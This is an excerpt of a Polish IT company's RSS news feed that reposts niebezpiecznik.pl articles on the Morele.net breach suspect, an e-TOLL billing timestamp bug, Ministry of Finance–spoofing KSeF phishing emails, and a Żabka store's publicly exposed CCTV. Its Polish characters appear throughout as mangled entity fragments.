			<description><![CDATA[ Wand#322;amanie do sklepu Morele.net miaand#322;o miejsce w 2018 roku, ale funkcjonariusze Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC) nie odpuand#347;cili. Udaand#322;o im siand#281; ustaliand#263; osoband#281; odpowiedzialnand#261; za atak i przedstawiand#263; jej zarzuty.and#160;
Zakand#322;adamy, and#380;e wiand#281;kszoand#347;and#263; naszych Czytelnikand#243;w sand#322;yszaand#322;a oand#160;kradzieand#380;y danych klientand#243;w Morele.net, a niektand#243;rzy z Was wgryzali siand#281; w analizyand#160;licznych skutkand#243;w prawnych tego zdarzenia. Oczy opinii publicznej byand#322;y skierowane gand#322;and#243;wnie na karand#281; naand#322;oand#380;onand#261; przez UODO i spand#243;r sand#261;dowy wokand#243;and#322; niej, natomiast rand#243;wnolegle toczyand#322;o siand#281; jeszcze inne niezwykle waand#380;ne postand#281;powanie. CBZC pod nadzorem Prokuratury Okrand#281;gowej w Krakowie staraand#322;o siand#281; znaleand#378;and#263; sprawcand#281;.
Pierwotnie postand#281;powanie zostaand#322;o umorzone z uwagi na niewykrycie sprawcy, ale to nie znaczy, and#380;e policja przestaand#322;a siand#281; sprawand#261; interesowaand#263;. CBZC ciand#261;gle prowadziand#322;o intensywne analizy wspand#243;and#322;pracujand#261;c z pokrzywdzonym. Zidentyfikowano wektor ataku i ustalono przebieg zdarzenia. Potem udaand#322;o siand#281; ustaliand#263; personalia sprawcy, ktand#243;ry jednak pewne and#347;lady pozostawiand#322;.
W dniu 30 stycznia 2026 roku prokurator nadzorujand#261;cy postand#281;powanie przedstawiand#322; zarzuty z art. 267and#167;1 i and#167;4 Kodeksu karnego 29-letniemu obywatelowi Polski.and#160;Podejrzany przyznaand#322; siand#281; do popeand#322;nienia zarzucanego czynu oraz zand#322;oand#380;yand#322; obszerne wyjaand#347;nienia. Zakres ujawnionych informacji obejmowaand#322; m.in. imiona i nazwiska, adresy e-mail, numery telefonand#243;w, adresy zamieszkania oraz zaszyfrowane hasand#322;a do kont uand#380;ytkownikand#243;w. Dane dotyczand#261;ce pand#322;atnoand#347;ci nie byand#322;y objand#281;te incydentem.

and#378;rand#243;dand#322;o: materiaand#322;yand#160;Policji

Co jeszcze robi CBZC?
Trzeba przyznaand#263;, and#380;e w ostatnim czasie CBZC raz po raz potwierdzaand#322;o, and#380;e udaand#322;o mu siand#281; zbudowaand#263; imponujand#261;ce kompetencje. W listopadzie donosiliand#347;my oand#160;zatrzymaniu Mikoand#322;aja R., ktand#243;ry podszywaand#322; siand#281; m.in. pod Niebezpiecznikaand#160;rozsyand#322;ajand#261;c liczne alarmy bombowe i kierujand#261;c pogrand#243;and#380;ki do politykand#243;w. Namierzenie takiego przestand#281;pstwa nie jest and#322;atwe i wymaga bardzo konsekwentnego zbierania i analizowania najdrobniejszych and#347;ladand#243;w. Oczywiand#347;cie Mikoand#322;aj R. nie jest jedynym przestand#281;pcand#261; ustalonym dziand#281;ki CBZC. W ramach miand#281;dzynarodowej z udziaand#322;em policjantand#243;w CBZC zatrzymano 4 osoby kierujand#261;ce grupand#261; Ransomware 8Base. Z kolei w dniach 14-17 lipca 2025 r. przeprowadzono miand#281;dzynarodowand#261; operacjand#281; and#8222;Eastwoodand#8221;, koordynowanand#261; przez Europol, ktand#243;ra wymierzona byand#322;a w prorosyjskand#261; sieand#263; cyberprzestand#281;pczand#261; NoName057(16) przeprowadzajand#261;cand#261; ataki DDoS na czand#322;onkand#243;w i sojusznikand#243;w NATO.
W ramach dziaand#322;aand#324; w kraju CBZC zatrzymywaand#322;a sprawcand#243;wand#160;oszustw inwestycyjnych, sprawcand#243;w oszustw metodand#261; and#8220;na pracownika bankuand#8221;, a takand#380;e wyand#322;udzeand#324; z wykorzystaniem kodand#243;w BLIK oraz BEC (business e-mail compromise). Funkcjonariusze jednostki mieli teand#380; swand#243;j udziaand#322; w and#347;ciganiu nielegalnego obrotu farmaceutykami i narkotykami. W 2025 roku przedstawili zarzuty karne 1374 podejrzanym i zatrzymali 1177 osand#243;b (w tym 417 decyzjand#261; sand#261;dand#243;w zostaand#322;o tymczasowo aresztowanych). U podejrzanych policjanci zabezpieczyli ponad 80 mln zand#322; i odzyskali niemal 25 mln zand#322;. W biurze peand#322;ni niemal 1100 funkcjonariuszy, ale w ubiegand#322;ym roku wpand#322;ynand#281;and#322;o do niego niemal 1000 podaand#324;.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 6 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Możesz dostać 500zł mandatu, bo system poboru opłat na A4 miał ciekawy błąd ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1610</link>
			<description><![CDATA[ Jechaand#322;eand#347; A4 lub A2? To skarband#243;wka moand#380;e Ciand#281; wezwaand#263; do wniesienia opand#322;aty za and#8220;nieopand#322;acony przejazd autostradand#261;and#8221; sprzed kilku (!) lat. I to mimo tego, and#380;e Ty przejazd opand#322;aciand#322;eand#347;, a dziand#347; podrand#243;and#380; tym odcinkiem jest bezpand#322;atna. Wiele osand#243;b po prostu pand#322;aci, choand#263; niektand#243;re z opand#322;at sand#261; naliczone band#322;and#281;dnie i Ministerstwo Finansand#243;w najwyraand#378;niej o tym wie.
Pand#322;aciand#263; juand#380; nie trzeba, aleand#8230;
Czy pamiand#281;tacie systemand#160;e-Tolland#160;i kupowanie biletand#243;w na niekulczykowe odcinki autostrad (na stacjach lub w aplikacji)? Zwykand#322;emu obywatelowi moand#380;e siand#281; wydawaand#263;, and#380;e te opand#322;aty za niekulczykowe autostrady to przeszand#322;oand#347;and#263;, aleand#8230; one mogand#261; o sobie przypomnieand#263; gdy siand#281; tego najmniej spodziewasz, chociaand#380;and#160;od lipca 2023 pand#322;aciand#263; nie trzeba, przynajmniej jeand#347;li jedziesz samochodem osobowym lub motocyklem.

Wezwanie, za przejazd sprzed lat
Nasz Czytelnik Szymon dostaand#322; wezwanie do zapand#322;aty 500zand#322; za przejazd autostradand#261; A4 sprzed 3 lat. Poczand#261;tkowo rozwaand#380;aand#322; zapand#322;acenie, bo czy normalny czand#322;owiek moand#380;e byand#263; pewien, and#380;e trzy lata wczeand#347;niej nie zapomniaand#322; odpaliand#263; aplikacji i przejechaand#322; autostradand#261; bez wykupionego biletu? Szymon skonsultowaand#322; znajomych i dowiedziaand#322; siand#281;, and#380;e wiand#281;cej osand#243;b takie wezwania otrzymaand#322;o. Jedna z nich powiedziaand#322;a mu, and#380;e zapand#322;aciand#322;a dla and#347;wiand#281;tego spokoju za wszystkie 3 wezwania, jakie dostaand#322;a.
Szymon postanowiand#322; drand#261;and#380;yand#263; sprawand#281;. Zajrzaand#322; do galerii zdjand#281;and#263; w swoim smartfonie i ustaliand#322;, and#380;eand#160;tego dnia rzeczywiand#347;cie odbyand#322; jednodniowand#261; wycieczkand#281; do Wrocand#322;awia. Postanowiand#322; sprawdziand#263; czy zapand#322;aciand#322; za przejazd pand#322;atnym odcinkiem autostrady do Wrocand#322;awia, wiand#281;c zalogowaand#322; siand#281; na swoje koto w systemie e-TOLL, wszedand#322; w zakand#322;adkand#281; and#8220;historia przejazdand#243;wand#8221; i wybraand#322; odpowiedni zakres dat. System jednak niczego nie pokazaand#322;, bo Szymon nie byand#322; w stanie wskazaand#263; and#8220;konta rozliczeniowegoand#8221;, a to uniemoand#380;liwiaand#322;o wygenerowanie raportu.

and#8212;and#160;Zadzwoniand#322;em na infoliniand#281;. Caand#322;kiem miand#322;a Pani powiedziaand#322;a mi, and#380;eand#160;[generowanie raportu] nie dziaand#322;a dla zamkniand#281;tych kont (a Szymon konto zamknand#261;and#322; jakiand#347; czas temu). Jak chcand#281; poznaand#263; historiand#281; przejazdand#243;w i naliczonych opand#322;at to powinienem przesand#322;aand#263; zgand#322;oszenie przez formularz, a oni majand#261; 30 dni na odpowiedand#378;. Z kolei na wniesienie sprzeciwu do wezwania mamy 14 dni od daty dorand#281;czenia wezwania do zapand#322;aty (czyli oczekiwanie na dowody wymagane do sprzeciwu moand#380;e przekroczyand#263; ten termin and#8212; dop. redakcji). Absurd. Wysand#322;aand#322;em zgand#322;oszenie, na szczand#281;and#347;cie odpowiedand#378; dostaand#322;em po 2 dniach, takand#380;e caand#322;kiem szybko. W odpowiedzi otrzymaand#322;em plik CSV z wykazem pand#322;atnoand#347;ci (doand#322;and#261;czam w zaand#322;and#261;czniku). No i tu zaczyna siand#281; cyrkand#160;and#8211; napisaand#322; nam Szymon.

Z otrzymanego wykazu wynikaand#322;o, and#380;e przejazdyand#160;byand#322;y odnotowane, ale z opand#243;and#378;nieniem wzgland#281;dem czasu faktycznego.

and#8212;and#160;Analizujand#261;c historiand#281; lokalizacji oraz datand#281;, godzinand#281; i lokalizacjand#281; wykonania zdjand#281;and#263; w mojej galerii, oszacowaand#322;em, and#380;eand#160;band#322;and#261;d (systemu e-TOLL and#8212; dop. red.) wynosi okoand#322;o 45-60 minut pand#243;and#378;niej. To oznacza, and#380;eand#160;zarejestrowane przejazdy, ktand#243;re otrzymaand#322;em odand#160;e-TOLLa, majand#261; znaczniki czasowe opand#243;and#378;nionione w stosunku do faktycznego czasu przejzadu.

Ale to byand#322;by moand#380;e niezbyt istotny band#322;and#261;d, gdyby nie to, and#380;e jak wykazaand#322;a analiza Szymona,and#160;przejazd, ktand#243;ry przekraczaand#322; pand#243;and#322;noc, nie byand#322; zaliczany do nastand#281;pnego dnia.

and#8212; Mamy wjazd na pierwszy pand#322;atny odcinek Bielany Wrocand#322;awskie-Wrocand#322;aw Wschand#243;d o 23:56 11 marca 2023, natomiast na kolejny odcinek wjeand#380;dand#380;am po pand#243;and#322;nocy czyli Wrocand#322;aw Wschand#243;d-Brzezimierz i jest on band#322;and#281;dnie zaliczony na poczet tego samego dnia, zamiast dnia nastand#281;pnego, czyli 12 marca 2023.and#160;Na tej podstawie wynika, and#380;e w drodze z autostrady zjechaand#322;em na wand#281;and#378;le Opole Zachand#243;d 11 marca 2023 o godzinie 00:30, czyli wczeand#347;niej, niand#380; wjechaand#322;em na autostradand#281;.

Szymon przedstawiand#322; nam dokumentacjand#281; sprawy, raporty z e-Toll, pisma i dane z osi czasu Google. Wszystko wskazywaand#322;o na to, and#380;e naliczono mu opand#322;aty niesand#322;usznie na skutek band#322;and#281;du w zliczaniu czasu po stronie e-Toll.
MF: and#8220;To nie jest nagminneand#8221;
Spytaliand#347;my o sprawand#281; Izband#281; Skarbowand#261; w and#321;odzi i Ministerstwo Finansand#243;w. Chcieliand#347;my wiedzieand#263;, czy Ministerstwo Finansand#243;w wie coand#347; o tym problemie.and#160;Po rand#243;wnych dwand#243;ch tygodniach otrzymaliand#347;my odpowiedand#378;. Mand#243;wiand#261;c krand#243;tko: tak, ministerstwo wie o tego typu incydentach, ale zdaniem ministerstwa wina leand#380;y po stronieand#8230; urzand#261;dzeand#324; uand#380;ytkownikand#243;w. Problem ma nie byand#263; and#8220;nagminnyand#8221; i and#8220;nie wpand#322;ywa w istotny sposand#243;b na prawidand#322;owoand#347;and#263; poboru opand#322;atyand#8221;. Poniand#380;ej peand#322;na odpowiedand#378; ministerstwa (pogrubienia dodane przez redakcjand#281;).

Panie Redaktorze, opisane sytuacje mogand#261; wystand#281;powaand#263;and#160;w przypadku nieprawidand#322;owego dziaand#322;ania urzand#261;dzeand#324;, na ktand#243;rych zainstalowana jest Aplikacja mobilna and#8222;e-TOLL PLand#8221;. Minister Finansand#243;w ani Szef Krajowej Administracji Skarbowej (KAS) nie ma wpand#322;ywu na stan techniczny tych urzand#261;dzeand#324;, ani na poprawnoand#347;and#263; ich dziaand#322;ania. Zgodnie z art. 13i ust. 4c ustawy z dnia 21 marca 1985 r. o drogach publicznych, uand#380;ytkownicy drand#243;g objand#281;tych opand#322;atand#261; sand#261; zobowiand#261;zani do wyposaand#380;enia pojazdu w sprawne urzand#261;dzenie oraz do zapewnienia przekazywania aktualnych danych z tego urzand#261;dzenia, w trakcie przejazdu po drogach objand#281;tych opand#322;atand#261;.
Aplikacja mobilna and#8222;e-TOLL PLand#8221; moand#380;e byand#263; instalowana przez uand#380;ytkownikand#243;w systemu e-TOLL na dowolnych urzand#261;dzeniach z systemem operacyjnym Android lub iOS. Do czerwca 2024 r. wersja aplikacji dziaand#322;ajand#261;ca w systemie Android okreand#347;laand#322;a czas przejazdu na podstawie daty pobieranej z moduand#322;u GPS znajdujand#261;cego siand#281; w urzand#261;dzeniu, na ktand#243;rym byand#322;a zainstalowana. W systemie iOS czas przejazdu byand#322; juand#380; okreand#347;lany na podstawie czasu systemowego z urzand#261;dzenia.
Od lipca 2024 r., w zwiand#261;zku z ujednoliceniem architektury Aplikacji mobilnej and#8222;e-TOLL PLand#8221; w systemach Android i iOS, obie wersje aplikacji pobierajand#261; czas systemowy z urzand#261;dzenia, na ktand#243;rym sand#261; zainstalowane. Dodatkowo, od poczand#261;tku funkcjonowania aplikacji mobilnej and#8211; zarand#243;wno w wersji na Androida, jak i iOS and#8211; wymagane jest dziaand#322;anie urzand#261;dzenia w trybie automatycznego ustawiania daty i godziny.and#160;Dotychczas przypadki tego rodzaju miaand#322;y charakter wyand#322;and#261;cznie incydentalny i byand#322;y ujawniane sporadycznieand#160;and#8211; gand#322;and#243;wnie w ramach reklamacji zgand#322;aszanych przez uand#380;ytkownikand#243;w lub w toku kontroli prowadzonych przez wand#322;aand#347;ciwe organy.
Nie stwierdzono, aby sytuacje te wystand#281;powaand#322;y nagminnie ani, aby w jakikolwiek istotny sposand#243;b wpand#322;ywaand#322;y na prawidand#322;owoand#347;and#263; poboru opand#322;aty elektronicznej. W zwiand#261;zku z tym w najbliand#380;szym czasie nie sand#261; planowane zmiany w Aplikacji mobilnej and#8222;e-TOLL PLand#8221;, ktand#243;re byand#322;yby bezpoand#347;rednio zwiand#261;zane z opisanym przez Pana redaktora problemem. Jednoczeand#347;nie wskazujemy, and#380;e skutecznoand#347;and#263; systemu poboru opand#322;aty elektronicznej jest stale monitorowana, a w przypadku wykrycia nieprawidand#322;owoand#347;ci mogand#261;cych istotnie wpand#322;ynand#261;and#263; na jego funkcjonowanie, podejmowane sand#261; dziaand#322;ania zmierzajand#261;ce do ich usuniand#281;cia.
W odniesieniu do przytoczonego przez Pana konkretnego przypadku, zwiand#261;zanego z odnotowaniem braku wniesienia opand#322;aty za przejazd autostradand#261;, informujemy, and#380;eand#160;uand#380;ytkownik ma prawo do zand#322;oand#380;enia sprzeciwu, o ktand#243;rym mowa w art. 37gf ust. 1 ustawy z dnia 27 paand#378;dziernika 1994 r. o autostradach pand#322;atnych oraz o Krajowym Funduszu Drogowym do Dyrektora Izby Administracji Skarbowej w and#321;odzi (al. Koand#347;ciuszki 83, 90-436 and#321;and#243;dand#378;) w ciand#261;gu 14 dni od dnia dorand#281;czenia wezwania do wniesienia opand#322;aty dodatkowej oraz przedstawienia stosownych wyjaand#347;nieand#324;, co umoand#380;liwi szczegand#243;and#322;owand#261; weryfikacjand#281; sprawy. Sprzeciw moand#380;na wnieand#347;and#263; w formie pisemnej (osobiand#347;cie lub za poand#347;rednictwem poczty) albo w formie dokumentu elektronicznego (do elektronicznej skrzynki podawczej Dyrektora IAS w and#321;odzi na platformie ePUAP).
Dodatkowo informujemy, and#380;e uand#380;ytkownicy systemu e-TOLL and#8211; zarand#243;wno zarejestrowani, jak i niezarejestrowani and#8211; mogand#261; wyjaand#347;niaand#263; rand#243;and#380;nego rodzaju kwestie zwiand#261;zane z przejazdami po drogach pand#322;atnych w Polsce, korzystajand#261;c z formularza zgand#322;oszeniowego dostand#281;pnego na oficjalnej stronie internetowej systemu e-TOLL pod adresemand#160;https://etoll.gov.pl/formularz-zgloszeniowy/.

Szymon zand#322;oand#380;yand#322; sprzeciw wobec swojego wezwania, ale jeszcze nie dostaand#322; odpowiedzi. Mamy nadziejand#281;, and#380;e wszystko band#281;dzie dobrze and#8212; dowody na swojand#261; niewinnoand#347;and#263; ma przekonujand#261;ce.
Nam natomiast po gand#322;owie koand#322;acze siand#281; jedno pytanie. Ile osand#243;b po otrzymaniu wezwania na skutek tego samego band#322;and#281;du nie zgand#322;osiand#322;o reklamacji i zapand#322;aciand#322;o, bo uznaand#322;o, and#380;e:

szkoda czasu i po co im wiand#281;cej problemand#243;w
nie pamiand#281;taand#322;o co robiand#322;o trzy lata wczeand#347;niej i domyand#347;lnie zaand#322;oand#380;yand#322;o, and#380;e kupienie biletu im umknand#281;and#322;o?

Niestety nie ma sposobu aby to oszacowaand#263;. Ale jeand#347;li znacie kogoand#347;, kto opowiadaand#322;, jak to otrzymaand#322; wezwanie do zapand#322;aty za przejazd autostradand#261;, chociaand#380; jest pewien and#380;e opand#322;aciand#322;, to podeand#347;lijcie mu ten artykuand#322;. Byand#263; moand#380;e warto mimo wszystko, aby nawet po czasie tak osoba zand#322;oand#380;yand#322;a reklamacjand#281;?
Co robiand#263;? Jak and#380;yand#263;?
Czasem warto dokumentowaand#263; swoje and#380;ycie. Niekoniecznie w formie papierowego dziennika. Przynajmniej czand#281;and#347;and#263; takiej dokumentacji powstaje na naszych smartfonach i odkand#322;ada siand#281; w rand#243;and#380;nych usand#322;ugach. Miejsca w ktand#243;rych byliand#347;my i pand#322;atnoand#347;ci, ktand#243;rych dokonywaliand#347;my moand#380;na and#8220;odgrzebaand#263;and#8221; dziand#281;ki temu nawet po latach.
Jeand#347;li dostaliand#347;cie wezwanie do zapand#322;aty i moand#380;ecie zweryfikowaand#263; swoje przejazdy to zrand#243;bcie to. Teraz juand#380; wiecie, and#380;e niektand#243;re z rozsyand#322;anych wezwaand#324; do zapand#322;aty mogand#261; byand#263; wynikiem band#322;and#281;du w aplikacji, a nie tylko i wyand#322;and#261;cznie waszego zapominalstwa. Drand#261;and#380;enie takich spraw and#8211; tak jak zrobiand#322; to Szymon and#8211; moand#380;e teand#380; pomand#243;c innym w dochodzeniu swoich praw, dlatego czasem warto.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 6 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Uwaga na Powiadomienia w sprawie KSeF ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1609</link>
			<description><![CDATA[ Otrzymujemy informacje o tym, and#380;e oszuand#347;ci zaczand#281;li podszywaand#263; siand#281; pod Ministerstwo Finansand#243;w oraz Krajowand#261; Administracjand#281; Skarbowand#261; i rozsyand#322;ajand#261; e-maile dotyczand#261;ce KSeF, ktand#243;re zawierajand#261; zand#322;oand#347;liwe zaand#322;and#261;czniki, ktand#243;rych uruchomienie moand#380;e spowodowaand#263; kradzieand#380; danych i pieniand#281;dzy.
Oto jak wygland#261;dajand#261; przykand#322;adowe wiadomoand#347;ci:


Kategoria: Publiczne Szanowni Paand#324;stwo, W zaand#322;and#261;czniku znajduje siand#281; Powiadomienie Naczelnika Urzand#281;du Skarbowego. Prosimy o informacjand#281;, czy potrzebujand#261; Paand#324;stwo szkolenia lub wsparcia informacyjnego. Band#281;dziemy rand#243;wnieand#380; wdziand#281;czni za informacje zwrotnand#261;, czy sand#261; Paand#324;stwo gotowi do korzystania z systemu Z wyrazami szacunku starszy referent Dziaand#322; Wsparcia Urzand#261;d Skarbowy Warszawa-Praga

Wiadomoand#347;ci rand#243;and#380;niand#261; siand#281; nieznacznie treand#347;ciand#261; (nie zawsze majand#261; peand#322;en podpis) i sand#261; wysyand#322;ane z rand#243;and#380;nych adresand#243;w e-mail and#8212; oto przykand#322;adowe z nich:
us.warszawe.prage@mf.gov.pl powiadomKAS@mf.gov.pl
Jak widaand#263;, skrzynki e-mail nadawcand#243;w majand#261;and#160;prawidand#322;owand#261;and#160;domenand#281; Ministerstwa Finansand#243;w.
Jak to moand#380;liwe, and#380;e adres jest and#8220;poprawnyand#8221;?
Bardzo prosto, kaand#380;dy moand#380;e wysand#322;aand#263; e-maila z dowolnym adresem nadawcy, ale taki e-mail nie powinien dotrzeand#263; do skrzynki odbiorcy, o ile:

nadawca poprawnie zaimplementowaand#322; mechanizmy bezpieczeand#324;stwa poczty elektronicznej (SPF, DKIM, DMARC)
a odbiorca wiadomoand#347;ci je sprawdza

Ministerstwo Finansand#243;w ma poprawnie wdroand#380;one nagand#322;owki:
v=spf1 ip4:145.237.237.0/26 ip4:145.237.192.0/27 ip4:145.237.160.128/27 include:spf.protection.outlook.com -all v=DMARC1;p=quarantine;pct=100;rua=mailto:postmaster@mf.gov.pl
co oznacza, and#380;eand#160;e-maile od oszustand#243;w widzand#261; w skrzynkach te osoby, ktand#243;rych administratorzy firmowej poczty nie weryfikujand#261; poprawnie ww. mechanizmand#243;w bezpieczeand#324;stwa.
Niestety, nawet duand#380;e firmy (nie tylko w Polsce) wciand#261;and#380; majand#261; z tym problem. Dlatego zdecydowaliand#347;my siand#281; w tej sprawie wysand#322;aand#263; ostrzeand#380;enie uand#380;ytkownikom naszejand#160;aplikacji CyberAlerty
Aplikacja CyberAlerty jest darmowa i dostand#281;pna zarand#243;wno na Andoida jak i na iPhone. Nie wymaga rejestracji a jedyne co robi, to wysyand#322;a Ci ostrzeand#380;enia przed atakami, jeand#347;li zauwaand#380;ymy nowy, istotny i masowy atak, ktand#243;ry moand#380;e spowodowaand#263; kradzieand#380; Twoich danych lub pieniand#281;dzy albo zagraand#380;a Twojej prywatnoand#347;ci. Aplikacjand#281; pobierzesz z oficjalnego sklepuand#160;Googleand#160;luband#160;Apple.
Jak jeszcze moand#380;na wykryand#263;, and#380;e to scam?
O ile zwykand#322;ej, nietechnicznej osobie band#281;dzie ciand#281;and#380;ko samodzielnie zweryfikowaand#263; poprawnoand#347;and#263; nagand#322;and#243;wkand#243;w bezpieczeand#324;stwa, to juand#380; po samej treand#347;ci moand#380;na zorientowaand#263; siand#281;, and#380;e z tand#261; wiadomoand#347;ciand#261; jest coand#347; nie tak:

Niektand#243;re warianty nie sand#261; podpisane z imienia i nazwiska urzand#281;dnika
Rozszerzenie zaand#322;and#261;cznika jest niestandardowe (.iso)
W adresie e-mail nadawcy sand#261; literand#243;wki (np. and#8220;warszaweand#8221;).

Otrzymaand#322;em takand#261; wiadomoand#347;and#263;, co robiand#263;, jak and#380;yand#263;?
Jeand#347;li widzisz takand#261; wiadomoand#347;and#263; w swojej skrzynce, zwrand#243;and#263; uwagand#281; dostawcy lub administratorowi swojej firmowej poczty, and#380;eby wdroand#380;yand#322; poprawnand#261; weryfikacjand#281; nagand#322;and#243;wkand#243;w bezpieczeand#324;stwa.
Jeand#347;li otworzyand#322;eand#347; zaand#322;and#261;cznik na systemie Windows, twand#243;j komputer mand#243;gand#322; zostaand#263; zainfekowany. Poinformuj o tym fakcie swojego firmowego administratora.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 6 luty 2026


and#160;


and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Każdy mógł zobaczyć, ile małpek kupujesz w Żabce ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1608</link>
			<description><![CDATA[ Przywykliand#347;my do tego, and#380;e kamery i monitoring pojawiajand#261; siand#281;and#160;w rand#243;and#380;nych miejscach. Taksand#243;wkach, autobusach, budynkach, garaand#380;ach,and#160;aptekach, a nawet osiedlowych sklepach. I wiand#281;kszoand#347;and#263; osand#243;b nie ma z kamerami problemu, bo zakand#322;ada and#380;e do nagraand#324; siand#281;ga siand#281; tylko and#8220;po przestand#281;pstwieand#8221;. Aby sprawdziand#263; kto coand#347; zniszczyand#322;, ukradand#322;, napadand#322;. A co, gdybyand#347;my Wam powiedzieli, and#380;e klientand#243;w and#379;abki obserwowaand#263; mand#243;gand#322; kaand#380;dy?
Ah, ten monitoringand#8230;
Wiemy z wand#322;asnych obserwacji, and#380;e instalowanie systemand#243;w monitoringu w wielu miejscach w Polsce jest beztroskie. Rejestratory czand#281;sto sand#261; montowane w publicznie dostand#281;pnych miejscach, co naraand#380;a je na atak fizyczny. A jak sand#261; schowane, to dostand#281;p do nich nierzadko odbywa siand#281; po sieci Wi-Fi (rozgand#322;aszanej z routera podand#322;and#261;czonego wprost do rejestratora), przy czym nazwa sieci jest tak nieprzewidywalna jak np. and#8220;kameryand#8220;.
Bywa teand#380;, and#380;e rejestrator jest podand#322;and#261;czony do internetu, a dostand#281;p do niego jest moand#380;liwy od strony sieci publicznej przez kaand#380;dego, jeand#347;li nie zadbano o odpowiedniand#261; konfiguracjand#281;and#8230; Z kronikarskiego obowiand#261;zku musimy tu jednak dodaand#263; uwagand#281; technicznand#261;: uzyskanie dostand#281;pu do profesjonalnego monitoringu wymaga odpowiedniej aplikacji. Trzeba w niej podaand#263; adres IP, port, login i hasand#322;o. Ale problem w tym, and#380;e porty czand#281;sto sand#261; standardowe, loginyand#160;czand#281;sto sand#261; domyand#347;lne (w rodzaju and#8220;userand#8221; lub and#8220;adminand#8221;), a hasand#322;a czand#281;sto bywajand#261; bardzo oczywiste (np. adres1234) band#261;dand#378;and#160;and#322;atwe do and#8220;wyliczeniaand#8221;.
Czy podgland#261;dania tak and#378;le skonfigurowanych instalacji monitoringu wizyjnego moand#380;e byand#263; problemem? Opowiemy o tym na dwand#243;ch przykand#322;adach.
Monitoring w tajemniczej and#379;abce
W zeszand#322;y poniedziaand#322;ek jeden z naszych Czytelnikand#243;w daand#322; nam znaand#263;, and#380;e monitoring pewnego sklepu and#8220;and#379;abkaand#8221; jest dostand#281;pny publicznie na okreand#347;lonym numerze IP, z loginem and#8220;adminand#8221; i bardzo, bardzo prostym hasand#322;em. Dostand#281;p byand#322; moand#380;liwy przez jednand#261; z dostand#281;pnych na rynku aplikacji do sterowania kamerami i uzyskiwania podgland#261;du.
Sprawdziliand#347;my i rzeczywiand#347;cie, mogliand#347;my and#347;ledziand#263; co dzieje siand#281; w tym sklepie. Sklep udostand#281;pniaand#322;and#160;nie tylko kamerand#281; sklepowand#261;, moand#380;na byand#322;o teand#380;and#160;podgland#261;daand#263; zaplecze oraz teren przed sklepem.
Chcieliand#347;my pomand#243;c i zgand#322;osiand#263; ten problem do and#379;abka Polska SA, ale problem byand#322; taki, and#380;e nie wiedzieliand#347;my, ktand#243;ra z licznych and#379;abek ma ten problem. A jak wiecie, and#379;abek sand#261; miliony! Geolokalizacja po adresie IP byand#322;a akurat w tym przypadku wysoce nieprzydatna.

Nie chcesz, abyand#347;my patrzyli przez Twoje kamery, prawda?

Pomimo braku informacji na temat lokalizacji sklepu, zgand#322;osiliand#347;my problem firmie and#379;abka Polska S.A. i przy okazji zadaliand#347;my kilka pytaand#324;. Chcieliand#347;my wiedzieand#263; m.in. czy sklepy majand#261; zapewnione jakieand#347; wsparcie i standardy w kwestii monitoringu, bo ta instalacja wygland#261;daand#322;a naprawdand#281; nieprofesjonalnie.
Gdzie ta and#379;abka?
Czekajand#261;c na odpowiedzi od and#379;abki, postanowiliand#347;my zrobiand#263; sobieand#160;wewnand#261;trzredakcyjne and#263;wiczenie OSINT-oweand#160;i sprand#243;bowaand#263; zlokalizowaand#263; tand#281; and#379;abkand#281;. Okazaand#322;o siand#281; to jednym z ciekawszych przypadkand#243;w lokalizowania miejsca po zdjand#281;ciu. Ale po kolei!
Samochody parkujand#261;ce przy problemowej and#379;abce miaand#322;y w zdecydowanej wiand#281;kszoand#347;ci rejestracje and#8220;DWand#8221; oraz and#8220;DXand#8221;. Czyli Wrocand#322;aw? Tak sand#261;dziliand#347;my i szukaliand#347;my w stolicy Dolnego and#346;land#261;ska. Przejrzeand#263; wszystkie moand#380;liwe and#379;abki and#8220;rand#281;cznieand#8221; na Google Maps to mission impossible. Powstajand#261; jak grzyby po deszczu, wiand#281;c nie kaand#380;da na mapach band#281;dzie. Przejrzeliand#347;my wiele wrocand#322;awskich and#379;abek i przekonaliand#347;my siand#281;, and#380;e mogand#261; byand#263; nawet 4 and#379;abki na jednej ulicyand#8230;
Jak zatem zawand#281;ziand#263; obszar poszukiwaand#324;?

Wzand#243;r bruku byand#322; raczej nietypowy dla Wrocand#322;awiaand#160; (ustaliliand#347;my jego wykonawcand#281; nawiasem mand#243;wiand#261;c, ale poczand#261;tkowo nic to nie daand#322;o)
Miejsce byand#322;o poand#322;oand#380;one raczej w centrum miasta, ale rotacja na miejscach parkingowych sugerowaand#322;a znacznie land#380;ejszy ruch niand#380; w mieand#347;cie wojewand#243;dzkim.

Pod tand#261; and#379;abkand#261; widaand#263; byand#322;o teand#380; auta z rejestracjami and#8220;DOLand#8221; (Oleand#347;nica), a niektand#243;re auta parkujand#261;ce pod sklepem na staand#322;e miaand#322;y przegland#261;dy rejestracyjne robione w Oleand#347;nicy.

Chcesz wiedzieand#263; jak ustalaand#263; informacje na temat osand#243;b, pojazdand#243;w lub firm?and#160;Techniki i narzand#281;dzia, ktand#243;re to umoand#380;liwiajand#261; sand#261; proste i darmowe. Pokazujemy je na naszych szkoleniach z OSINT-u, ktand#243;rych najbliand#380;sze terminy znajdziesz poniand#380;ej and#8212; zapraszamy, to wiedza, ktand#243;re przyda siand#281; kaand#380;demu!
Wersja dwudniowa:

16-17 lutego 2026, ZDALNIE
26-27 lutego 2026, Warszawa
16-17 marca 2026, Krakand#243;w
27-28 kwietnia 2026, Wrocand#322;aw

and#160;
Wersja jednodniowa (skrand#243;cona, tylko najwaand#380;niejsze techniki i narzand#281;dzia):

18 lutego 2026, ZDALNIE
27 lutego 2026, Krakand#243;w
9 marca 2026, Warszawa
17 kwietnia 2026, ZDALNIE

and#160;

